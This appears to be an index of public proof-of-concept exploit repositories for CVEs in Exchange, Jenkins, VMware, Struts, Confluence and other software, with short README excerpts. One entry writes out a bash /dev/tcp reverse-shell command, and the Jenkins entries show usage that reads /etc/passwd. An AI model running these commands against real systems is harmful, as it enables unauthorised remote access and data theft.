CVE-2022-41082

CVE-2022-41082 This repository contains a proof-of-concept PoC tool for exploiting the OWASSRF vulnerability CVE-2022-41082 in Microsoft Exchange servers. The exploit allows attackers to execute arbitrary commands on the server, potentially compromising the system. Overview The tool leverages an...

Spring4Shell-CVE-2022-22965

Spring4Shell: CVE-2022-22965 RCE Java Spring framework RCE vulnerability These vulnerabilities affects a component "Spring Core" — the heart of the framework Current conditions for vulnerability:- JDK 9+ A vulnerable version of the Spring Framework 5.2 | 5.2.0-19 | 5.3.0-17 Apache Tomcat as a...

firefox-rce-nssmil

Firefox RCE CVE-2016-9079 – Adaptación JavaScript Educativa Implementación educativa del exploit público para CVE-2016-9079, adaptada del módulo original de Exploit-DB/Metasploit para uso independiente. Aviso legal Este repositorio se proporciona estrictamente con fines educativos y de...

firefox-rce-nssmil

Firefox RCE CVE-2016-9079 – Educational JavaScript Port Educational implementation of the public exploit for CVE-2016-9079, adapted from the original Exploit-DB/Metasploit module for standalone use. Disclaimer This repository is provided strictly for educational and research purposes. It contains...

weblogic2021

This project is intended for security research and authorized use only. Users are responsible and obligated to comply with local laws and regulations. weblogic2021 CVE-2021-1994, CVE-2021-2047, CVE-2021-2064, CVE-2021-2108, CVE-2021-2075, CVE-2019-17195, CVE-2020-14756, CVE-2021-2109 7 critical...

CVE-2023-50164-POC

This is a Proof of Concept PoC for CVE-2023-50164, which outlines a new path traversal vulnerability which can lead to Remote Code Execution RCE in struts-core. To remediate the issue, it is advised that you update to Struts 2.5.33 or Struts 6.3.0.2 or greater. This repo builds off the excellent...

CVE-2021-21978

CVE-2021-21978 Exploit script with echo back, a simpler way 0. Vulnerability Information The VMware View Planner Web management interface has an entry for uploading log functionality files, which requires no authentication and the log file path written is user-controllable. By overwriting the...

CVE-2021-21985_PoC

Vulnerability Details VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN RCE CVE-2021-21985 The vSphere Client HTML5 contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with...

CVE-2018-1000861

CVE-2018-1000861 Simple script to exploit CVE-2018-1000861, written in Python 3 Usage: usage: exploit.py -h -u URL -c CMD -r -i IP -p PORT -v options: -h, --help show this help message and exit -u URL, --url URL Target Jenkins server -c CMD, --cmd CMD Command to execute -r, --revshell Execute...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-Exploit-POC This proof-of-concept script demonstrates how to exploit CVE-2024-4323, a memory corruption vulnerability in Fluent Bit, enabling remote code execution. CVE-2024-4323 is a memory corruption vulnerability in Fluent Bit versions 2.0.7 through 3.0.3. The issue resides in th...

CVE-2021-41773

CVE-2021-41773 Usage docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py What is CVE-2021-41773? CVE-2021-41773 Directory traversal vulnerability in Apache HTTP Server 2.4.49. Occurs when Require all...

CVE-2024-23897

CVE-2024-23897 Jenkins RCE Arbitrary File Read CVE-2024-23897 Usage: python poc.py http://127.0.0.1:8888/ /etc/passwd Update: Update to Jenkins 2.442, LTS 2.426.3 Fix: If you can't update to the latest version, disable access to the CLI, this should completely eliminate the possibility of...

CVE-2021-36260-hikvision

CVE-2021-36260 CVE-2021-36260 POC command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. Exploit Title:...

CVE-2020-1350-Fix

KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 Introduction On July 14, 2020, Microsoft released a security update for the issue that is described in CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability. This advisory describes a Critical Remote Code Execution RC...

CVE-2020-1048

CVE-2020-1048 POC exploit code for CVE-2020-1048PrintDemon Vulnerable Systems All Windows version below mentioned in the link are vulnerable: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048 Steps to reproduce 1. Change the variables gPortName and gInputFile presen...

CVE-2025-55182

React2Shell Ultimate Scanner Professional Next.js RSC RCE Vulnerability Scanner for CVE-2025-55182 🎯 Overview React2Shell Ultimate is a comprehensive vulnerability scanner for CVE-2025-55182 - a critical Remote Code Execution RCE vulnerability affecting Next.js applications using React Server...

gosign-desktop-exploit-poc

Multiple Vulnerabilities in GoSign Desktop leads to Remote Code Execution Name: TLS Verification Bypass and Insecure Update in GoSign Desktop CVEs: CVE-2025-34324, CVE-2025-34327 System Affected: GoSign Desktop = 2.4.0 Fix: FoSign Desktop 2.4.1 partially fixed Vendor: Tinexta InfoCert S.p.A...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809-aka The Little Boy - POC The poc for CVE-2022-26809 RCE via RPC will be updated here. We are in the process of identifying the vulnerable code and share the simplest one-click RCE here...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Tested Version Generate the exploit command echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Use djvumake to generate the exploit image import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444...

CVE-2022-26134

CVE-2022-26134 PoC Confluence Server and Data Center - CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability PoC Severity Atlassian rates the severity level of this vulnerability as critical, according to the scale published in Atlassian severity levels. All...